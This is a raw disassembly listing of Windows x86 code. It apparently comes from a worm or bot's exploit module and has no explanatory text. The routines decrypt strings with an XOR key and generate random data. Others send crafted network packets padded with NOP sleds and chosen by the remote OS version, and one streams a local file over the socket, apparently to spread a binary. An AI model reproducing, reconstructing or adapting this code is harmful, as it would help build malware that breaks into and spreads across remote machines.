mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: sub_4167F1+DFp var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EADC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAE8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EADC, eax add eax, ebx lock xadd dword_41EAE0, eax add eax, ecx lock xadd dword_41EAE4, eax add eax, edx lock xadd dword_41EAE8, eax add eax, esi lock xadd dword_41EADC, eax add eax, edi lock xadd dword_41EAE0, eax add eax, ebp lock xadd dword_41EAE4, eax add eax, esp lock xadd dword_41EAE8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EADC, eax lock xadd dword_41EAE0, eax lock xadd dword_41EAE4, eax lock xadd dword_41EAE8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAE4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAE0, ecx add ecx, edx ror edx, cl lock xadd dword_41EADC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAE8, edx lock xadd dword_41EAE4, ecx lock xadd dword_41EAE0, ebx lock xadd dword_41EADC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: sub_4020C2+10Bp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: sub_4055E5+715p ; sub_4055E5+78Bp push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAE0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: sub_4055E5+72Bp ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EADC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: sub_4167F1+F0p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAF0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAF0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: sub_4105AD+Fj ; sub_4105AD+29j leave retn sub_4105AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105FB proc near ; CODE XREF: sub_401000+4Ap ; sub_4043E9+1Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jg short loc_41060C jmp short locret_410647 ; --------------------------------------------------------------------------- loc_41060C: ; CODE XREF: sub_4105FB+Dj and [ebp+var_4], 0 jmp short loc_410619 ; --------------------------------------------------------------------------- loc_410612: ; CODE XREF: sub_4105FB+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410619: ; CODE XREF: sub_4105FB+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_410647 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAF0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_410612 ; --------------------------------------------------------------------------- locret_410647: ; CODE XREF: sub_4105FB+Fj ; sub_4105FB+29j leave retn sub_4105FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410649 proc near ; DATA XREF: .data:off_41CCFEo var_1B78 = dword ptr -1B78h var_1B74 = byte ptr -1B74h var_B74 = byte ptr -0B74h var_B6C = dword ptr -0B6Ch var_B64 = dword ptr -0B64h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = byte ptr -36Ch var_280 = byte ptr -280h var_276 = byte ptr -276h var_272 = byte ptr -272h var_23A = byte ptr -23Ah var_236 = byte ptr -236h var_232 = byte ptr -232h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B78h call sub_416BC0 push 48h push offset dword_41A7B0 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410686 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_410686: ; CODE XREF: sub_410649+36j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_200] push eax call sub_4125DF add esp, 20h mov [ebp+var_370], eax cmp [ebp+var_370], 0 jnz short loc_4106F0 jmp locret_410B50 ; --------------------------------------------------------------------------- loc_4106F0: ; CODE XREF: sub_410649+A0j and [ebp+var_374], 0 jmp short loc_410706 ; --------------------------------------------------------------------------- loc_4106F9: ; CODE XREF: sub_410649+E1j mov eax, [ebp+var_374] inc eax mov [ebp+var_374], eax loc_410706: ; CODE XREF: sub_410649+AEj cmp [ebp+var_374], 168h jge short loc_41072C push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_374] mov [ebp+ecx+var_36C], al jmp short loc_4106F9 ; --------------------------------------------------------------------------- loc_41072C: ; CODE XREF: sub_410649+C7j push 0Ah push offset loc_41A8A0 lea eax, [ebp+var_280] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8F0 lea eax, [ebp+var_276] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset loc_41A8E8 lea eax, [ebp+var_272] push eax call sub_416B52 ; memcpy add esp, 0Ch push 2 push offset loc_41A8EC lea eax, [ebp+var_23A] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push (offset loc_41A8E3+1) lea eax, [ebp+var_236] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0Bh push offset loc_41A894 lea eax, [ebp+var_232] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E6h sub eax, [ebp+var_370] mov [ebp+var_204], eax and [ebp+var_1B78], 0 push 18h push offset dword_41A7FC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 18h mov [ebp+var_1B78], eax push 44h push offset dword_41A818 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 44h mov [ebp+var_1B78], eax push 20h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 20h mov [ebp+var_1B78], eax push 4 push offset loc_41A8AC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8E0 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset dword_41A8D8 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push offset loc_41A8DC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 58h push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 58h mov [ebp+var_1B78], eax push 6 push offset loc_41A8B4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push 8 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 8 mov [ebp+var_1B78], eax push 4 push offset loc_41A8BC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 4 push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 4 mov [ebp+var_1B78], eax push 6 push offset loc_41A8C4 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 6 mov [ebp+var_1B78], eax push [ebp+var_204] push 0FFFFFF90h mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B6A ; memset add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_204] mov [ebp+var_1B78], eax push [ebp+var_370] lea eax, [ebp+var_200] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, [ebp+var_370] mov [ebp+var_1B78], eax push 168h lea eax, [ebp+var_36C] push eax mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 168h mov [ebp+var_1B78], eax push 0Ah push offset off_41A8CC mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 0Ah mov [ebp+var_1B78], eax push 32h push offset dword_41A860 mov eax, [ebp+var_1B78] lea eax, [ebp+eax+var_B74] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_1B78] add eax, 32h mov [ebp+var_1B78], eax mov eax, [ebp+var_1B78] mov [ebp+var_B6C], eax mov eax, [ebp+var_1B78] sub eax, 18h mov [ebp+var_B64], eax push [ebp+var_1B78] lea eax, [ebp+var_B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 0EA60h mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_410B36 jmp short locret_410B50 ; --------------------------------------------------------------------------- loc_410B36: ; CODE XREF: sub_410649+4E9j push 0 push 1000h lea eax, [ebp+var_1B74] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call dword_417248 ; recv locret_410B50: ; CODE XREF: sub_410649+38j ; sub_410649+A2j ... leave retn sub_410649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B52 proc near ; DATA XREF: .data:0041CD38o var_104C = byte ptr -104Ch var_FC6 = byte ptr -0FC6h var_BDE = byte ptr -0BDEh var_B9E = byte ptr -0B9Eh var_B7C = dword ptr -0B7Ch var_B78 = byte ptr -0B78h var_AF2 = byte ptr -0AF2h var_88E = byte ptr -88Eh var_882 = byte ptr -882h var_85E = byte ptr -85Eh var_852 = byte ptr -852h var_82E = byte ptr -82Eh var_80C = byte ptr -80Ch var_7CC = byte ptr -7CCh var_7C8 = byte ptr -7C8h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 104Ch call sub_416BC0 push 7 push offset dword_41A7A8 mov eax, [ebp+arg_0] push dword ptr [eax+2Ah] mov eax, [ebp+arg_0] add eax, 146h push eax mov eax, [ebp+arg_0] add eax, 0C6h push eax mov eax, [ebp+arg_0] push dword ptr [eax+0C2h] push 200h lea eax, [ebp+var_204] push eax call sub_4125DF add esp, 20h mov [ebp+var_20C], eax cmp [ebp+var_20C], 0 jnz short loc_410BAF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BAF: ; CODE XREF: sub_410B52+56j push 89h push offset dword_41AF50 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410BEF jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410BEF: ; CODE XREF: sub_410B52+96j push 0A8h push offset dword_41AFDC mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C2F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C2F: ; CODE XREF: sub_410B52+D6j push 0DEh push offset dword_41B088 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410C6F jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410C6F: ; CODE XREF: sub_410B52+116j movsx eax, [ebp+var_7CC] sub eax, 30h mov [ebp+var_208], al movsx eax, [ebp+var_7C8] sub eax, 30h mov [ebp+var_4], al push 3Eh push offset dword_41B168 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410CC9 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410CC9: ; CODE XREF: sub_410B52+170j push 60h push offset dword_41B1A8 mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D06 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D06: ; CODE XREF: sub_410B52+1ADj push 0A0h push offset dword_41B20C mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 2710h push 600h lea eax, [ebp+var_80C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_405443 add esp, 10h test eax, eax jnz short loc_410D46 jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410D46: ; CODE XREF: sub_410B52+1EDj movsx eax, [ebp+var_208] cmp eax, 5 jnz loc_410E71 movsx eax, [ebp+var_4] cmp eax, 1 jnz loc_410E71 push 86h push offset dword_41B2B0 lea eax, [ebp+var_B78] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_AF2] push eax call sub_416B52 ; memcpy add esp, 0Ch push 0 mov eax, 264h sub eax, [ebp+var_20C] add eax, 60h push eax mov eax, [ebp+var_20C] lea eax, [ebp+eax+var_AF2] push eax call sub_410F60 add esp, 0Ch push 4 push offset dword_41B410 lea eax, [ebp+var_88E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_882] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_85E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4 push offset dword_41B408 lea eax, [ebp+var_852] push eax call sub_416B52 ; memcpy add esp, 0Ch push 20h push offset dword_41B338 lea eax, [ebp+var_82E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch push 400h call dword_41709C ; Sleep push 36Ah lea eax, [ebp+var_B78] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch jmp locret_410F5E ; --------------------------------------------------------------------------- loc_410E71: ; CODE XREF: sub_410B52+1FEj ; sub_410B52+20Bj movsx eax, [ebp+var_208] cmp eax, 5 jnz short loc_410E85 movsx eax, [ebp+var_4] test eax, eax jz short loc_410E95 loc_410E85: ; CODE XREF: sub_410B52+329j movsx eax, [ebp+var_208] cmp eax, 4 jnz locret_410F5E loc_410E95: ; CODE XREF: sub_410B52+331j push 86h push offset dword_41B35C lea eax, [ebp+var_104C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, 3E8h sub eax, [ebp+var_20C] push eax push 90h lea eax, [ebp+var_FC6] push eax call sub_416B6A ; memset add esp, 0Ch push [ebp+var_20C] lea eax, [ebp+var_204] push eax lea eax, [ebp+var_BDE] sub eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch and [ebp+var_B7C], 0 jmp short loc_410F06 ; --------------------------------------------------------------------------- loc_410EF9: ; CODE XREF: sub_410B52+3DAj mov eax, [ebp+var_B7C] inc eax mov [ebp+var_B7C], eax loc_410F06: ; CODE XREF: sub_410B52+3A5j cmp [ebp+var_B7C], 10h jge short loc_410F2E push 4 push offset dword_41B408 mov eax, [ebp+var_B7C] lea eax, [ebp+eax*4+var_BDE] push eax call sub_416B52 ; memcpy add esp, 0Ch jmp short loc_410EF9 ; --------------------------------------------------------------------------- loc_410F2E: ; CODE XREF: sub_410B52+3BBj push 20h push offset dword_41B3E4 lea eax, [ebp+var_B9E] push eax call sub_416B52 ; memcpy add esp, 0Ch push 4CEh lea eax, [ebp+var_104C] push eax mov eax, [ebp+arg_0] push dword ptr [eax+3Eh] call sub_4053BF add esp, 0Ch locret_410F5E: ; CODE XREF: sub_410B52+58j ; sub_410B52+98j ... leave retn sub_410B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410F60 proc near ; CODE XREF: sub_410B52+265p var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_8], 0 jnz short loc_410FA4 and [ebp+var_4], 0 jmp short loc_410F79 ; --------------------------------------------------------------------------- loc_410F72: ; CODE XREF: sub_410F60+3Dj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_410F79: ; CODE XREF: sub_410F60+10j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short loc_410F9F push 20h push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410F72 ; --------------------------------------------------------------------------- loc_410F9F: ; CODE XREF: sub_410F60+1Fj jmp locret_41102D ; --------------------------------------------------------------------------- loc_410FA4: ; CODE XREF: sub_410F60+Aj cmp [ebp+arg_8], 7Fh jnz short loc_410FDF and [ebp+var_8], 0 jmp short loc_410FB7 ; --------------------------------------------------------------------------- loc_410FB0: ; CODE XREF: sub_410F60+7Bj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_410FB7: ; CODE XREF: sub_410F60+4Ej mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jnb short loc_410FDD push 5 push 0 call sub_4103F5 pop ecx pop ecx imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov al, byte_41BB00[eax] mov [ecx], al jmp short loc_410FB0 ; --------------------------------------------------------------------------- loc_410FDD: ; CODE XREF: sub_410F60+5Dj jmp short locret_41102D ; --------------------------------------------------------------------------- loc_410FDF: ; CODE XREF: sub_410F60+48j and [ebp+var_C], 0 loc_410FE3: ; CODE XREF: sub_410F60+ADj ; sub_410F60+CBj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnb short locret_41102D push 20h push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_10], al movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_8] and ecx, dword_41BB01[eax] test ecx, ecx jz short loc_41100F jmp short loc_410FE3 ; --------------------------------------------------------------------------- loc_41100F: ; CODE XREF: sub_410F60+ABj movsx eax, [ebp+var_10] imul eax, 5 mov ecx, [ebp+arg_0] add ecx, [ebp+var_C] mov al, byte_41BB00[eax] mov [ecx], al mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_410FE3 ; --------------------------------------------------------------------------- locret_41102D: ; CODE XREF: sub_410F60:loc_410F9Fj ; sub_410F60:loc_410FDDj ... leave retn sub_410F60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41102F proc near ; CODE XREF: sub_41113B+79Bp var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 210h push 0EA60h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_4050EA add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411065 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_41106C loc_411065: ; CODE XREF: sub_41102F+2Bj xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41106C: ; CODE XREF: sub_41102F+34j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_208], eax cmp [ebp+var_208], 0 jnz short loc_41109F push [ebp+var_204] call sub_4053B1 pop ecx xor eax, eax jmp locret_411139 ; --------------------------------------------------------------------------- loc_41109F: ; CODE XREF: sub_41102F+5Bj ; sub_41102F:loc_41111Cj mov eax, [ebp+var_208] mov eax, [eax+0Ch] and eax, 10h test eax, eax jnz short loc_41111E push [ebp+var_208] push 200h push 1 lea eax, [ebp+var_200] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_20C], eax push [ebp+var_20C] lea eax, [ebp+var_200] push eax push [ebp+var_204] call sub_4053BF add esp, 0Ch mov [ebp+var_210], eax mov eax, [ebp+var_20C] cmp eax, [ebp+var_210] jz short loc_41111C push [ebp+var_204] call sub_4053B1 